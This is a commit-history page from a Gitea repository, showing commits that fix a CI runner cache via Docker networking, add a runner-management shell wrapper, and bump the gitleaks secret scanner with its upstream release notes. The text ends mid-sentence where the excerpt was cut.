707ff25ee007bd9f50c99e00aa7df019208f359c
160 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
a463199728 |
feat(infra): reactivate act_runner cache by sharing the runners network (#82)
## Summary Closes the deferred-since-day-one cache-server gap (documented as "Cache server (deferred)" in `infra/README.md` and mentioned every time we hit a slow CI install). **Root cause.** `act_runner`'s built-in cache server binds inside the runner container and advertises an IP on the compose-defined `apf-portal-act-runners` bridge — but jobs are spawned via the mounted `/var/run/docker.sock`, which puts them on Docker's anonymous default `bridge`. The advertised URL is unreachable from the job, every cache request burns a ~2 min `ETIMEDOUT` (restore + save), the hit rate is zero. **Fix.** Tell `act_runner` to attach jobs to the same compose-defined bridge as the runners, via `container.network` in the shared `runner-config.yaml`. The advertised cache URL becomes a normal internal-network DNS hop, jobs reach the cache server, `cache: 'pnpm'` works end-to-end. **Blast-radius trade-off** (bounded). Every container on `apf-portal-act-runners` is one of our runner containers, plus the jobs they spawn — all of which already have full docker-socket access. Sharing a network doesn't widen what a malicious workflow can already do; it just lets jobs reach the cache server. ## What lands - `infra/runner-config.yaml` — add `container.network: apf-portal-act-runners`. Surface the `cache.enabled: true` default explicitly so the toggle is discoverable. - `.gitea/workflows/ci.yml` — re-enable `cache: 'pnpm'` on every `actions/setup-node` step (5 jobs). Drop the now-stale block comment that explained the disablement. - `.gitea/workflows/security-scheduled.yml` — same on the two setup-node steps. - `infra/README.md` "Cache server" section rewritten — was `"(deferred)"`, now describes the working setup, rationale, and the disable toggle. - `ci.yml`'s Trivy comment trimmed to drop the cross-reference to the deferred-cache-server section that no longer exists. ## Roll-out (manual, post-merge, on the runner host) ```bash cd <repo>/infra git pull ./ci-runners.sh rotate ``` `rotate` recreates the containers with the new `runner-config.yaml` mount intact (rolling restart, ~15 s pause between each runner so the CI pipeline stays online). ## Test plan - [ ] CI green on this PR (the gates run on the runners as configured **before** rollout, so this PR's run is one last "uncached" cycle). - [ ] After rollout, the next CI run's `Set up Node.js` step shows the cache restore attempt **succeed quickly** (no ETIMEDOUT). The `Run pnpm install --frozen-lockfile` step on the first post-rollout run still reports `Progress: resolved N, reused 0, downloaded N` (cold seed). - [ ] The **second** post-rollout run reports `reused N, downloaded 0` (or a small downloaded delta if Renovate moved a dep meanwhile) — the cache hit is real. - [ ] `Complete job` step at the end no longer shows `reserveCache failed: connect ETIMEDOUT` warnings. - [ ] Wall-clock for a typical PR's CI drops by ~5-10 min (5 jobs × ~30-90 s saved on `pnpm install` + the 2× ~2 min ETIMEDOUTs we used to eat). --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #82 |
||
|
|
2d676cc279 |
feat(infra): add ci-runners.sh wrapper for the runner stack (#81)
## Summary Mirrors the convenience-script pattern we adopted for `infra/local/dev.sh`: typing `docker compose -f infra/ci-runners.compose.yml ...` for routine ops gets old fast, the pre-pull of the catthehacker job images is documented but easy to forget, and the "rotation of one runner at a time" tip in `infra/README.md` is a sequence the contributor was supposed to hand-roll every time. `infra/ci-runners.sh` exposes the everyday verbs and automates the rolling-restart pattern. ## What lands | Command | Effect | | --------------------------------------------- | --------------------------------------------------------------------------------- | | `./ci-runners.sh up` | Bring the three runner containers up | | `./ci-runners.sh up --prepull` | Pre-pull the job images (`act-22.04` + `:full-22.04`) on the host first | | `./ci-runners.sh down` | Stop and remove the containers (**preserves** `data/runner-N/.runner` credentials) | | `./ci-runners.sh restart <runner>` | Restart one runner | | `./ci-runners.sh rotate` | Rolling restart of every runner with a 15 s pause between each — keeps at least N-1 runners online through a config refresh | | `./ci-runners.sh status` | `docker compose ps` for the runner services | | `./ci-runners.sh logs [runner]` | Follow logs (one runner or all of them) | | `./ci-runners.sh pull-images` | Pre-pull / refresh the job images (idempotent) | | `./ci-runners.sh <other>` | Pass-through to `docker compose -f ci-runners.compose.yml ...` | The destructive `down -v` (wipes `data/`, forces re-registration with a fresh Gitea token) is intentionally **not** exposed as a verb — invoke `docker compose -f ci-runners.compose.yml down -v` directly so the path is explicit at the typing level. ## Doc updates (`infra/README.md`) - Inventory table at the top picks up the script. - "First-time registration" walkthrough swaps the explicit `docker pull` / `docker compose up` steps for `./ci-runners.sh up --prepull`. - New "Convenience script — `ci-runners.sh`" subsection with the cheat-sheet table. - "Operational tips" rephrased to point at the script's `rotate` / `restart` / `logs` verbs as the canonical commands; the raw-docker-compose form is kept in parentheses as the underlying mechanism. - "Adding a fourth runner" tip now reminds to update the `RUNNERS=()` array at the top of the script. ## Trade-off The 15 s pause in `rotate` is a conservative approximation — `act_runner` doesn't expose a Compose healthcheck, so we can't poll for ready. Adjust the constant at the top of the script if reality argues for a different value. ## Test plan - [ ] CI green on this PR. - [ ] On the runner host: `./infra/ci-runners.sh status` shows the three runners running. - [ ] `./infra/ci-runners.sh logs runner-1` tails runner-1's stdout. - [ ] `./infra/ci-runners.sh rotate` cycles through runner-1 → runner-2 → runner-3 with the 15 s pauses; `status` between rotations shows N-1 runners online at any moment (with a brief gap for the one currently restarting). - [ ] `./infra/ci-runners.sh restart runner-99` errors out with the "unknown runner" message. --------- Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr> Reviewed-on: #81 |
||
|
|
674c8b2f88 |
chore(deps): update dependency gitleaks/gitleaks to v8.30.1 (#79)
This PR contains the following updates: | Package | Update | Change | |---|---|---| | [gitleaks/gitleaks](https://github.com/gitleaks/gitleaks) | minor | `8.21.0` -> `8.30.1` | --- ### Release Notes <details> <summary>gitleaks/gitleaks (gitleaks/gitleaks)</summary> ### [`v8.30.1`](https://github.com/gitleaks/gitleaks/releases/tag/v8.30.1) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.30.0...v8.30.1) ##### Changelog - [`83d9cd6`](https://github.com/gitleaks/gitleaks/commit/83d9cd684c87d95d656c1458ef04895a7f1cbd8e) update goreleaser - [`8d1f98c`](https://github.com/gitleaks/gitleaks/commit/8d1f98c7967eb1e79cb44ac6241a124e145d2165) Removed unnecessary functions from report template ([#​2040](https://github.com/gitleaks/gitleaks/issues/2040)) - [`ca20267`](https://github.com/gitleaks/gitleaks/commit/ca20267a84aa1fa2c2a9c1a13cdb50cafb48eeb0) its the simple things ([#​2020](https://github.com/gitleaks/gitleaks/issues/2020)) - [`b66ac75`](https://github.com/gitleaks/gitleaks/commit/b66ac75e4fa93d86d78fccd6e2f36d2c0698b2a2) build: switch to Go 1.24 ([#​2002](https://github.com/gitleaks/gitleaks/issues/2002)) ### [`v8.30.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.30.0) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.29.1...v8.30.0) ##### Changelog - [`6eaad03`](https://github.com/gitleaks/gitleaks/commit/6eaad03) 0 to 5 - notes on recursive decoding ([#​1994](https://github.com/gitleaks/gitleaks/issues/1994)) - [`09242ce`](https://github.com/gitleaks/gitleaks/commit/09242ce) Add new Looker client ID and client secret rules ([#​1947](https://github.com/gitleaks/gitleaks/issues/1947)) - [`c98e5e0`](https://github.com/gitleaks/gitleaks/commit/c98e5e0) feat: add Airtable Personnal Access Token detection ([#​1952](https://github.com/gitleaks/gitleaks/issues/1952)) - [`4ed0ca4`](https://github.com/gitleaks/gitleaks/commit/4ed0ca4) build: upgrade Go & alpine version ([#​1989](https://github.com/gitleaks/gitleaks/issues/1989)) ### [`v8.29.1`](https://github.com/gitleaks/gitleaks/releases/tag/v8.29.1) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.29.0...v8.29.1) ##### Changelog - [`fb5d707`](https://github.com/gitleaks/gitleaks/commit/fb5d707) thats a paddlin - [`50493db`](https://github.com/gitleaks/gitleaks/commit/50493db) feat: document stdout report path ([#​1990](https://github.com/gitleaks/gitleaks/issues/1990)) ### [`v8.29.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.29.0) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.28.0...v8.29.0) ##### Changelog - [`ed65b65`](https://github.com/gitleaks/gitleaks/commit/ed65b65) Add trace log for skipped archive file when not enabled ([#​1961](https://github.com/gitleaks/gitleaks/issues/1961)) - [`c5ccbb9`](https://github.com/gitleaks/gitleaks/commit/c5ccbb9) Respect contexts with timeouts ([#​1948](https://github.com/gitleaks/gitleaks/issues/1948)) - [`3821f30`](https://github.com/gitleaks/gitleaks/commit/3821f30) Config min version ([#​1955](https://github.com/gitleaks/gitleaks/issues/1955)) - [`d223718`](https://github.com/gitleaks/gitleaks/commit/d223718) fix(config): validate rules when \[extend] is used ([#​1592](https://github.com/gitleaks/gitleaks/issues/1592)) - [`87d9629`](https://github.com/gitleaks/gitleaks/commit/87d9629) feat: add Amazon Bedrock API key detection ([#​1935](https://github.com/gitleaks/gitleaks/issues/1935)) - [`228396b`](https://github.com/gitleaks/gitleaks/commit/228396b) Add GitHub Sponsors section and Discord link - [`a82bc53`](https://github.com/gitleaks/gitleaks/commit/a82bc53) feat: improve regex to detect Sonar tokens with prefixes ([#​1931](https://github.com/gitleaks/gitleaks/issues/1931)) ### [`v8.28.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.28.0) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.27.2...v8.28.0) ##### Changelog - [`4fb4382`](https://github.com/gitleaks/gitleaks/commit/4fb4382) cant count - [`b1c9c7e`](https://github.com/gitleaks/gitleaks/commit/b1c9c7e) Composite rules ([#​1905](https://github.com/gitleaks/gitleaks/issues/1905)) - [`72977e4`](https://github.com/gitleaks/gitleaks/commit/72977e4) feat: add Anthropic API key detection ([#​1910](https://github.com/gitleaks/gitleaks/issues/1910)) - [`7b02c98`](https://github.com/gitleaks/gitleaks/commit/7b02c98) fix(git): handle port ([#​1912](https://github.com/gitleaks/gitleaks/issues/1912)) - [`2a7bcff`](https://github.com/gitleaks/gitleaks/commit/2a7bcff) dont prematurely calculate fragment newlines ([#​1909](https://github.com/gitleaks/gitleaks/issues/1909)) - [`bd79c3e`](https://github.com/gitleaks/gitleaks/commit/bd79c3e) feat(allowlist): promote optimizations ([#​1908](https://github.com/gitleaks/gitleaks/issues/1908)) - [`7fb4eda`](https://github.com/gitleaks/gitleaks/commit/7fb4eda) Fix: CVEs on go and go crypto ([#​1868](https://github.com/gitleaks/gitleaks/issues/1868)) - [`a044b81`](https://github.com/gitleaks/gitleaks/commit/a044b81) feat: add artifactory reference token and api key detection ([#​1906](https://github.com/gitleaks/gitleaks/issues/1906)) - [`bf380d4`](https://github.com/gitleaks/gitleaks/commit/bf380d4) silly - [`f487f85`](https://github.com/gitleaks/gitleaks/commit/f487f85) Update gitleaks.yml - [`958f55a`](https://github.com/gitleaks/gitleaks/commit/958f55a) add just like that, no leaks ##### Optimizations [#​1909](https://github.com/gitleaks/gitleaks/issues/1909) waits to find newlines until a match. This ends up saving a boat load of time since before we were finding newlines for every fragment regardless if a rule matched or not. [#​1908](https://github.com/gitleaks/gitleaks/issues/1908) promoted [@​rgmz](https://github.com/rgmz) excellent stopword optimization ##### Composite Rules (Multi-part or `required` Rules) [#​1905](https://github.com/gitleaks/gitleaks/issues/1905) In v8.28.0 Gitleaks introduced composite rules, which are made up of a single "primary" rule and one or more auxiliary or `required` rules. To create a composite rule, add a `[[rules.required]]` table to the primary rule specifying an `id` and optionally `withinLines` and/or `withinColumns` proximity constraints. A fragment is a chunk of content that Gitleaks processes at once (typically a file, part of a file, or git diff), and proximity matching instructs the primary rule to only report a finding if the auxiliary `required` rules also find matches within the specified area of the fragment. **Proximity matching:** Using the `withinLines` and `withinColumns` fields instructs the primary rule to only report a finding if the auxiliary `required` rules also find matches within the specified proximity. You can set: - **`withinLines: N`** - required findings must be within N lines (vertically) - **`withinColumns: N`** - required findings must be within N characters (horizontally) - **Both** - creates a rectangular search area (both constraints must be satisfied) - **Neither** - fragment-level matching (required findings can be anywhere in the same fragment) Here are diagrams illustrating each proximity behavior: ``` p = primary captured secret a = auxiliary (required) captured secret fragment = section of data gitleaks is looking at *Fragment-level proximity* Any required finding in the fragment ┌────────┐ ┌──────┤fragment├─────┐ │ └──────┬─┤ │ ┌───────┐ │ │a│◀────┼─│✓ MATCH│ │ ┌─┐└─┘ │ └───────┘ │┌─┐ │p│ │ ││a│ ┌─┐└─┘ │ ┌───────┐ │└─┘ │a│◀──────────┼─│✓ MATCH│ └─▲─────┴─┴───────────┘ └───────┘ │ ┌───────┐ └────│✓ MATCH│ └───────┘ *Column bounded proximity* `withinColumns = 3` ┌────────┐ ┌────┬─┤fragment├─┬───┐ │ └──────┬─┤ │ ┌───────────┐ │ │ │a│◀┼───┼─│+1C ✓ MATCH│ │ ┌─┐└─┘ │ └───────────┘ │┌─┐ │ │p│ │ │ ┌──▶│a│ ┌─┐ └─┘ │ ┌───────────┐ │ │└─┘ ││a│◀────────┼───┼─│-2C ✓ MATCH│ │ │ ┘ │ └───────────┘ │ └── -3C ───0C─── +3C ─┘ │ ┌─────────┐ │ │ -4C ✗ NO│ └──│ MATCH │ └─────────┘ *Line bounded proximity* `withinLines = 4` ┌────────┐ ┌─────┤fragment├─────┐ +4L─ ─ ┴────────┘─ ─ ─│ │ │ │ ┌─┐ │ ┌────────────┐ │ ┌─┐ │a│◀──┼─│+1L ✓ MATCH │ 0L ┌─┐ │p│ └─┘ │ ├────────────┤ │ │a│◀──┴─┴────────┼─│-1L ✓ MATCH │ │ └─┘ │ └────────────┘ │ │ ┌─────────┐ -4L─ ─ ─ ─ ─ ─ ─ ─┌─┐─│ │-5L ✗ NO │ │ │a│◀┼─│ MATCH │ └────────────────┴─┴─┘ └─────────┘ *Line and column bounded proximity* `withinLines = 4` `withinColumns = 3` ┌────────┐ ┌─────┤fragment├─────┐ +4L ┌└────────┴ ┐ │ │ ┌─┐ │ ┌───────────────┐ │ │ │a│◀┼───┼─│+2L/+1C ✓ MATCH│ │ ┌─┐└─┘ │ └───────────────┘ 0L │ │p│ │ │ │ └─┘ │ │ │ │ │ ┌────────────┐ -4L ─ ─ ─ ─ ─ ─┌─┐ │ │-5L/+3C ✗ NO│ │ │a│◀┼─│ MATCH │ └───-3C────0L───+3C┴─┘ └────────────┘ ``` ### [`v8.27.2`](https://github.com/gitleaks/gitleaks/releases/tag/v8.27.2) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.27.1...v8.27.2) ##### Changelog - [`c7acf33`](https://github.com/gitleaks/gitleaks/commit/c7acf33) Merge branch 'master' of github.com:gitleaks/gitleaks - [`9faaa4a`](https://github.com/gitleaks/gitleaks/commit/9faaa4a) Add experimental allowlist optimizations ([#​1731](https://github.com/gitleaks/gitleaks/issues/1731)) - [`79068b3`](https://github.com/gitleaks/gitleaks/commit/79068b3) Detect Notion Public API Keys [#​1889](https://github.com/gitleaks/gitleaks/issues/1889) ([#​1890](https://github.com/gitleaks/gitleaks/issues/1890)) ### [`v8.27.1`](https://github.com/gitleaks/gitleaks/releases/tag/v8.27.1) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.27.0...v8.27.1) ##### Changelog - [`80468ef`](https://github.com/gitleaks/gitleaks/commit/80468ef) Merge branch 'master' of github.com:gitleaks/gitleaks - [`ef82237`](https://github.com/gitleaks/gitleaks/commit/ef82237) fix(atlassian): reduce false-positives for v1 pattern ([#​1892](https://github.com/gitleaks/gitleaks/issues/1892)) - [`2463f11`](https://github.com/gitleaks/gitleaks/commit/2463f11) Fix log suppresion issue ([#​1887](https://github.com/gitleaks/gitleaks/issues/1887)) - [`6f251ee`](https://github.com/gitleaks/gitleaks/commit/6f251ee) Added Heroku API Key New Version ([#​1883](https://github.com/gitleaks/gitleaks/issues/1883)) - [`20f9a1d`](https://github.com/gitleaks/gitleaks/commit/20f9a1d) Add Platform Bitbucket ([#​1886](https://github.com/gitleaks/gitleaks/issues/1886)) - [`722ce82`](https://github.com/gitleaks/gitleaks/commit/722ce82) Add Platform Gitea ([#​1884](https://github.com/gitleaks/gitleaks/issues/1884)) - [`79780b8`](https://github.com/gitleaks/gitleaks/commit/79780b8) Merge branch 'master' of github.com:gitleaks/gitleaks - [`c5683ca`](https://github.com/gitleaks/gitleaks/commit/c5683ca) prevent default warn message when max-archive-depth not set ([#​1881](https://github.com/gitleaks/gitleaks/issues/1881)) - [`0357c3c`](https://github.com/gitleaks/gitleaks/commit/0357c3c) prevent default warn message when max-archive-depth not set ### [`v8.27.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.27.0) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.26.0...v8.27.0) ##### Changelog - [`782f310`](https://github.com/gitleaks/gitleaks/commit/782f310) Archive support ([#​1872](https://github.com/gitleaks/gitleaks/issues/1872)) - [`489d13c`](https://github.com/gitleaks/gitleaks/commit/489d13c) Update README.md - [`d29ee55`](https://github.com/gitleaks/gitleaks/commit/d29ee55) Reduce aws-access-token false positives ([#​1876](https://github.com/gitleaks/gitleaks/issues/1876)) - [`611db65`](https://github.com/gitleaks/gitleaks/commit/611db65) Set `pass_filenames` to `false` for Docker hook ([#​1850](https://github.com/gitleaks/gitleaks/issues/1850)) - [`0589ae0`](https://github.com/gitleaks/gitleaks/commit/0589ae0) unicode decoding ([#​1854](https://github.com/gitleaks/gitleaks/issues/1854)) - [`82f7e32`](https://github.com/gitleaks/gitleaks/commit/82f7e32) Diagnostics ([#​1856](https://github.com/gitleaks/gitleaks/issues/1856)) - [`f97a9ee`](https://github.com/gitleaks/gitleaks/commit/f97a9ee) chore: include decoder in debug log ([#​1853](https://github.com/gitleaks/gitleaks/issues/1853)) Got another [@​bplaxco](https://github.com/bplaxco) release. Cheers! ##### Archive Scanning Sometimes secrets are packaged within archive files like zip files or tarballs, making them difficult to discover. Now you can tell gitleaks to automatically extract and scan the contents of archives. The flag `--max-archive-depth` enables this feature for both `dir` and `git` scan types. The default value of "0" means this feature is disabled by default. Recursive scanning is supported since archives can also contain other archives. The `--max-archive-depth` flag sets the recursion limit. Recursion stops when there are no new archives to extract, so setting a very high max depth just sets the potential to go that deep. It will only go as deep as it needs to. The findings for secrets located within an archive will include the path to the file inside the archive. Inner paths are separated with `!`. Example finding (shortened for brevity): ``` Finding: DB_PASSWORD=8ae31cacf141669ddfb5da ... File: testdata/archives/nested.tar.gz!archives/files.tar!files/.env.prod Line: 4 Commit: 6e6ee6596d337bb656496425fb98644eb62b4a82 ... Fingerprint: 6e6ee6596d337bb656496425fb98644eb62b4a82:testdata/archives/nested.tar.gz!archives/files.tar!files/.env.prod:generic-api-key:4 Link: https://github.com/leaktk/gitleaks/blob/6e6ee6596d337bb656496425fb98644eb62b4a82/testdata/archives/nested.tar.gz ``` This means a secret was detected on line 4 of `files/.env.prod.` which is in `archives/files.tar` which is in `testdata/archives/nested.tar.gz`. Currently supported formats: The [compression](https://github.com/mholt/archives?tab=readme-ov-file#supported-compression-formats) and [archive](https://github.com/mholt/archives?tab=readme-ov-file#supported-archive-formats) formats supported by mholt's [archives package](https://github.com/mholt/archives) are supported. ### [`v8.26.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.26.0) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.25.1...v8.26.0) ##### Changelog - [`78eebac`](https://github.com/gitleaks/gitleaks/commit/78eebac) Percent/URL Decoding Support ([#​1831](https://github.com/gitleaks/gitleaks/issues/1831)) - [`6f967ca`](https://github.com/gitleaks/gitleaks/commit/6f967ca) fix(kubernetes): remove slow element from pat ([#​1848](https://github.com/gitleaks/gitleaks/issues/1848)) - [`88f56d3`](https://github.com/gitleaks/gitleaks/commit/88f56d3) feat: identify slow file ([#​1479](https://github.com/gitleaks/gitleaks/issues/1479)) - [`9609928`](https://github.com/gitleaks/gitleaks/commit/9609928) rm 1password detect test since we test it in cfg gen - [`23cb69f`](https://github.com/gitleaks/gitleaks/commit/23cb69f) feat(rules): Add 1Password secret key detection ([#​1834](https://github.com/gitleaks/gitleaks/issues/1834)) Calling this one [@​bplaxco](https://github.com/bplaxco)'s release as he introduced a really clever method for mixed decoding without sacrificing too much performance. As I stated in his PR, I think he's either a wizard or some time traveling AI. Dude [is wicked smaht](https://www.youtube.com/watch?v=hIdsjNGCGz4) Anyways, Gitleaks now supports the following decoders: `hex`, `percent(url enconding)`, and `b64`. It's relatively straight forward to add a new decoder so if you're motivated, community contributions are welcomed! Here's an example: ``` ~/code/gitleaks-org/gitleaks (master) cat decode.txt text below aGVsbG8sIHdvcmxkIQ%3D%3D%0A text above ~/code/gitleaks-org/gitleaks (master) ./gitleaks dir decode.txt --max-decode-depth=2 --log-level=debug ○ │╲ │ ○ ○ ░ ░ gitleaks 4:08PM DBG using stdlib regex engine 4:08PM DBG unable to load gitleaks config from decode.txt/.gitleaks.toml since --source=decode.txt is a file, using default config 4:08PM DBG found .gitleaksignore file: .gitleaksignore 4:08PM DBG segment found: original=[29,38] pos=[29,38]: "%3D%3D%0A" -> "==\n" 4:08PM DBG segment found: original=[11,38] pos=[11,31]: "aGVsbG8sIHdvcmxkIQ==" -> "hello, world!" 4:08PM INF scanned ~50 bytes (50 bytes) in 1.5ms 4:08PM INF no leaks found ``` ### [`v8.25.1`](https://github.com/gitleaks/gitleaks/releases/tag/v8.25.1) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.25.0...v8.25.1) ##### Changelog - [`d1c7759`](https://github.com/gitleaks/gitleaks/commit/d1c7759) fix(detect): test all allowlists ([#​1845](https://github.com/gitleaks/gitleaks/issues/1845)) Big thanks [@​rgmz](https://github.com/rgmz) ### [`v8.25.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.25.0) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.24.3...v8.25.0) ##### Changelog - [`4451b45`](https://github.com/gitleaks/gitleaks/commit/4451b45) feat(config): define multiple global allowlists ([#​1777](https://github.com/gitleaks/gitleaks/issues/1777)) (cause for the minor bump change) - [`7fb21a4`](https://github.com/gitleaks/gitleaks/commit/7fb21a4) feat(rules): Add Perplexity AI API key detection ([#​1825](https://github.com/gitleaks/gitleaks/issues/1825)) - [`f6193bc`](https://github.com/gitleaks/gitleaks/commit/f6193bc) feat(gcp): increase rule entropy ([#​1840](https://github.com/gitleaks/gitleaks/issues/1840)) - [`9bc7257`](https://github.com/gitleaks/gitleaks/commit/9bc7257) Adding clickhouse scanner ([#​1826](https://github.com/gitleaks/gitleaks/issues/1826)) - [`b6cc71a`](https://github.com/gitleaks/gitleaks/commit/b6cc71a) fix(baseline): work with --redact ([#​1741](https://github.com/gitleaks/gitleaks/issues/1741)) - [`cfdeb0d`](https://github.com/gitleaks/gitleaks/commit/cfdeb0d) feat(rule): validate & sort rule when generating ([#​1817](https://github.com/gitleaks/gitleaks/issues/1817)) ### [`v8.24.3`](https://github.com/gitleaks/gitleaks/releases/tag/v8.24.3) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.24.2...v8.24.3) ##### Changelog - [`107a418`](https://github.com/gitleaks/gitleaks/commit/107a418) Add support for GitLab Runner Tokens (Routable) ([#​1820](https://github.com/gitleaks/gitleaks/issues/1820)) - [`7fac002`](https://github.com/gitleaks/gitleaks/commit/7fac002) bump repo version in pre-commit example ([#​1815](https://github.com/gitleaks/gitleaks/issues/1815)) - [`4b54104`](https://github.com/gitleaks/gitleaks/commit/4b54104) Fix currentLine out of bounds error ([#​1810](https://github.com/gitleaks/gitleaks/issues/1810)) - [`af7d5bc`](https://github.com/gitleaks/gitleaks/commit/af7d5bc) add support for Azure DevOps platform in SCM detection and link ([#​1807](https://github.com/gitleaks/gitleaks/issues/1807)) - [`3e8cd2d`](https://github.com/gitleaks/gitleaks/commit/3e8cd2d) Add MaxMind license key rule ([#​1771](https://github.com/gitleaks/gitleaks/issues/1771)) - [`ddcc753`](https://github.com/gitleaks/gitleaks/commit/ddcc753) implement new openai regex pattern ([#​1780](https://github.com/gitleaks/gitleaks/issues/1780)) - [`9708e65`](https://github.com/gitleaks/gitleaks/commit/9708e65) A first attempt adding hooks.slack.com/triggers/ ([#​1792](https://github.com/gitleaks/gitleaks/issues/1792)) - [`198e410`](https://github.com/gitleaks/gitleaks/commit/198e410) feat(generic): tweak false-positives ([#​1803](https://github.com/gitleaks/gitleaks/issues/1803)) - [`e273a97`](https://github.com/gitleaks/gitleaks/commit/e273a97) chore: tweak logging and readme for GITLEAKS\_CONFIG\_TOML feature ([#​1802](https://github.com/gitleaks/gitleaks/issues/1802)) - [`a503b58`](https://github.com/gitleaks/gitleaks/commit/a503b58) feat: add option to set config from env var with toml content ([#​1662](https://github.com/gitleaks/gitleaks/issues/1662)) ### [`v8.24.2`](https://github.com/gitleaks/gitleaks/releases/tag/v8.24.2) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.24.0...v8.24.2) ##### What's Changed - Fix `platform` flag being ignored with `gitleaks detect` by [@​rgmz](https://github.com/rgmz) in https://github.com/gitleaks/gitleaks/pull/1765 - Make AddFinding public by [@​bplaxco](https://github.com/bplaxco) in https://github.com/gitleaks/gitleaks/pull/1767 - FIX upgrade x/crypto to 0.31.0 to get rid of CVE-2024-45337 by [@​cgoessen](https://github.com/cgoessen) in https://github.com/gitleaks/gitleaks/pull/1768 - Upgrade rs/zerolog, spf13/cobra, and spf13/viper by [@​rgmz](https://github.com/rgmz) in https://github.com/gitleaks/gitleaks/pull/1769 - Infer `report-format` from `report-path` extension if no value is provided by [@​rgmz](https://github.com/rgmz) in https://github.com/gitleaks/gitleaks/pull/1776 - `generic-api-key`: ignore csrf-tokens by [@​rgmz](https://github.com/rgmz) in https://github.com/gitleaks/gitleaks/pull/1779 - Prevent Yocto/BitBake false positives with generic-api-key rule by [@​Okeanos](https://github.com/Okeanos) in https://github.com/gitleaks/gitleaks/pull/1783 - Fix decoded line allowlist by [@​zricethezav](https://github.com/zricethezav) in https://github.com/gitleaks/gitleaks/pull/1788 - Readme badge revisions by [@​jessp01](https://github.com/jessp01) in https://github.com/gitleaks/gitleaks/pull/1744 - feat(regexp): use standard regexp by default, make go-re2 opt-in by [@​twpayne](https://github.com/twpayne) in https://github.com/gitleaks/gitleaks/pull/1798 - gore2 release tags by [@​zricethezav](https://github.com/zricethezav) in https://github.com/gitleaks/gitleaks/pull/1801 ##### New Contributors - [@​cgoessen](https://github.com/cgoessen) made their first contribution in https://github.com/gitleaks/gitleaks/pull/1768 - [@​Okeanos](https://github.com/Okeanos) made their first contribution in https://github.com/gitleaks/gitleaks/pull/1783 - [@​jessp01](https://github.com/jessp01) made their first contribution in https://github.com/gitleaks/gitleaks/pull/1744 - [@​twpayne](https://github.com/twpayne) made their first contribution in https://github.com/gitleaks/gitleaks/pull/1798 **Full Changelog**: https://github.com/gitleaks/gitleaks/compare/v8.24.0...v8.24.2 ### [`v8.24.0`](https://github.com/gitleaks/gitleaks/releases/tag/v8.24.0) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.23.3...v8.24.0) ##### Changelog - [`c2afd56`](https://github.com/gitleaks/gitleaks/commit/c2afd56) Make paths and fingerprints platform-agnostic ([#​1622](https://github.com/gitleaks/gitleaks/issues/1622)) - [`818e32f`](https://github.com/gitleaks/gitleaks/commit/818e32f) Add Sonar rule ([#​1756](https://github.com/gitleaks/gitleaks/issues/1756)) - [`3fa5a3a`](https://github.com/gitleaks/gitleaks/commit/3fa5a3a) Minor false positive improvements ([#​1758](https://github.com/gitleaks/gitleaks/issues/1758)) - [`2020e6a`](https://github.com/gitleaks/gitleaks/commit/2020e6a) Add support for streaming DetectReader ([#​1760](https://github.com/gitleaks/gitleaks/issues/1760)) - [`9122a2d`](https://github.com/gitleaks/gitleaks/commit/9122a2d) chore: Update github.com/wasilibs/go-re2 to v1.9.0 ([#​1763](https://github.com/gitleaks/gitleaks/issues/1763)) - [`398d0c4`](https://github.com/gitleaks/gitleaks/commit/398d0c4) docs: describe extended rules take precedence over base rules ([#​1563](https://github.com/gitleaks/gitleaks/issues/1563)) - [`ae26eff`](https://github.com/gitleaks/gitleaks/commit/ae26eff) feat(git): disable link generation ([#​1748](https://github.com/gitleaks/gitleaks/issues/1748)) - [`c6424a6`](https://github.com/gitleaks/gitleaks/commit/c6424a6) added sourcegraph token rule ([#​1736](https://github.com/gitleaks/gitleaks/issues/1736)) - [`6411402`](https://github.com/gitleaks/gitleaks/commit/6411402) feat(config): add rule for .p12 files ([#​1738](https://github.com/gitleaks/gitleaks/issues/1738)) - [`d71d95d`](https://github.com/gitleaks/gitleaks/commit/d71d95d) add deno.lock to default exclusions ([#​1740](https://github.com/gitleaks/gitleaks/issues/1740)) ### [`v8.23.3`](https://github.com/gitleaks/gitleaks/releases/tag/v8.23.3) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.23.2...v8.23.3) ##### Changelog - [`3188ad6`](https://github.com/gitleaks/gitleaks/commit/3188ad6) Don't exit with error if git repacking is required ([#​1711](https://github.com/gitleaks/gitleaks/issues/1711)) - [`7fc11bb`](https://github.com/gitleaks/gitleaks/commit/7fc11bb) refactor(config): use non-capture groups for allowlists ([#​1735](https://github.com/gitleaks/gitleaks/issues/1735)) - [`36c52c6`](https://github.com/gitleaks/gitleaks/commit/36c52c6) chore: Enhance `curl-auth-user` to detect empty usernames or passwords ([#​1726](https://github.com/gitleaks/gitleaks/issues/1726)) - [`1f323d8`](https://github.com/gitleaks/gitleaks/commit/1f323d8) fix(cmd): read log-opts before GitLogCmd ([#​1730](https://github.com/gitleaks/gitleaks/issues/1730)) ### [`v8.23.2`](https://github.com/gitleaks/gitleaks/releases/tag/v8.23.2) [Compare Source](https://github.com/gitleaks/gitleaks/compare/v8.23.1...v8.23.2) ##### Changelog - [`d88bc09`](https://github.com/gitleaks/gitleaks/commit/d88bc09) facebook keyword - [`3fdaefd`](https://github.com/gitleaks/gitleaks/commit/3fdaefd) fix(meraki): restrict keyword case 